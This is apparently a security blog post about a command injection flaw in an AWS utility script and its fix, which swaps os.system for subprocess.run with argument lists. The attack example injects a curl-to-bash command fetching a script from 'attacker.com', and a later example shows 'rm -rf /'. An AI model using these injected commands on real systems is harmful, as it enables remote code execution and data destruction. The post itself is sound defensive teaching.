Severity: π΄ Critical | CWE: CWE-78 (OS Command Injection) | File:
utils/aws/resume.py
Introduction
Imagine handing a stranger a keyboard and saying, "Here, type whatever you want into our server." That's essentially what an OS command injection vulnerability does β and it's exactly what was lurking in utils/aws/resume.py.
This vulnerability, classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), is one of the most dangerous bugs a developer can introduce. It sits at #3 on the OWASP Top 10 (Injection) for good reason: when exploited, it can hand an attacker complete control over the underlying system.
The good news? It was caught, reported, and fixed. The better news? Understanding why it happened and how it was fixed will help you avoid the same pitfall in your own code.
The Vulnerability Explained
What Went Wrong
At its core, the problem was deceptively simple. The code in utils/aws/resume.py was constructing a shell command string from user-controllable input and passing it directly to os.system():
# β VULNERABLE CODE (before the fix)
import os
def resume_aws_session(profile_name, region):
cmd = f"aws resume --profile {profile_name} --region {region}"
os.system(cmd) # π Danger: shell interprets the entire string
The os.system() function passes its argument to the system shell (/bin/sh on Unix, cmd.exe on Windows) for execution. The shell doesn't just run the command β it interprets it, including all the special metacharacters that make shell scripting powerful:
| Metacharacter | Shell Behavior |
|---|---|
; |
Execute next command regardless of exit code |
&& |
Execute next command if previous succeeded |
\| |
Pipe output to next command |
$() |
Command substitution |
\|\| |
Execute next command if previous failed |
& |
Run command in background |
How It Could Be Exploited
If an attacker controls the profile_name or region parameters β through a web form, API call, configuration file, or environment variable β they can inject shell metacharacters to break out of the intended command and run arbitrary code.
Example Attack Scenario:
Suppose the profile_name parameter is sourced from user input or an external configuration:
# Attacker supplies this as profile_name:
profile_name = "default; curl http://attacker.com/shell.sh | bash"
# The resulting command becomes:
cmd = "aws resume --profile default; curl http://attacker.com/shell.sh | bash --region us-east-1"
When os.system() runs this, the shell executes two commands:
1. aws resume --profile default β the intended command
2. curl http://attacker.com/shell.sh | bash β the attacker's payload
In an AWS environment, this is catastrophic. An attacker could:
- π Exfiltrate AWS credentials from
~/.aws/credentials - ποΈ Delete S3 buckets or terminate EC2 instances
- π΅οΈ Establish a reverse shell for persistent access
- π¦ Install malware or crypto-miners on the host
- π Pivot to other internal services using the compromised host's IAM role
The Real-World Impact
In cloud environments, this type of vulnerability is especially severe because:
-
IAM Role Escalation: EC2 instances and Lambda functions often run with IAM roles attached. An attacker who gains shell access inherits those permissions automatically via the instance metadata service (IMDS).
-
No Authentication Required (in some cases): If the vulnerable code path is reachable without authentication, the attack surface is enormous.
-
Lateral Movement: AWS environments are interconnected. A foothold in one service can cascade into access to databases, secrets managers, and other critical infrastructure.
The Fix
What Changed
The fix replaces os.system() with Python's subprocess module, specifically using argument lists instead of shell strings:
# β
FIXED CODE (after the fix)
import subprocess
def resume_aws_session(profile_name, region):
cmd = ["aws", "resume", "--profile", profile_name, "--region", region]
subprocess.run(cmd, check=True) # β
Safe: no shell interpretation
Why This Works
The key difference is how the operating system receives the command:
| Approach | Mechanism | Shell Involved? | Injection Risk |
|---|---|---|---|
os.system("cmd string") |
Shell parses the string | β Yes | π΄ High |
subprocess.run(["cmd", "arg"]) |
OS executes directly | β No | π’ None |
When you pass a list to subprocess.run(), Python calls the OS's execve() system call directly, bypassing the shell entirely. Each list element is treated as a literal argument β semicolons, pipes, and backticks are just characters, not instructions.
# Even a malicious input is now harmless:
profile_name = "default; rm -rf /"
subprocess.run(["aws", "resume", "--profile", profile_name, "--region", region])
# Executes: aws resume --profile "default; rm -rf /" --region us-east-1
# The AWS CLI receives the entire string as a single argument value β no injection!
Additional Hardening with subprocess
The subprocess module also gives you much finer control over process execution:
import subprocess
import shlex
def resume_aws_session(profile_name, region):
# Input validation as a defense-in-depth measure
if not profile_name.replace("-", "").replace("_", "").isalnum():
raise ValueError(f"Invalid profile name: {profile_name}")
cmd = ["aws", "resume", "--profile", profile_name, "--region", region]
result = subprocess.run(
cmd,
check=True, # Raises CalledProcessError on non-zero exit
capture_output=True, # Captures stdout/stderr instead of printing
text=True, # Returns strings instead of bytes
timeout=30 # Prevents hanging processes
)
return result.stdout
Conclusion
A single function call β os.system() β with unsanitized input was enough to create a critical, system-level vulnerability in an AWS utility script. This is a powerful reminder that security vulnerabilities don't always look dramatic in the code. A one-line change can have devastating consequences.
The fix was equally straightforward: swap os.system() for subprocess.run() with a list of arguments, and the shell never enters the picture. No shell, no shell injection.
Key Takeaways
os.system()with dynamic input is always dangerous β the shell will interpret metacharacterssubprocess.run(["cmd", "arg"])is the safe alternative β arguments are passed directly to the OSshell=Trueinsubprocessis just as dangerous asos.system()β avoid it with dynamic input- Validate inputs with allowlists as a defense-in-depth measure
- Prefer SDK/library calls over shell commands when possible (e.g., boto3 over AWS CLI)
- Use static analysis tools like Bandit and Semgrep to catch these patterns automatically
Security is a habit, not a checkbox. Every time you write code that touches external input, ask yourself: "What happens if someone passes something unexpected here?" That single question, asked consistently, prevents vulnerabilities like this one.
This vulnerability was identified and fixed by automated security scanning. Automated security tooling is a force multiplier for development teams β it catches the issues that are easy to miss in code review.
Have questions about command injection or secure Python practices? Drop a comment below.
References:
- OWASP Command Injection
- CWE-78: OS Command Injection
- Python subprocess documentation
- Bandit: Python Security Linter
- OWASP Top 10 A03:2021 β Injection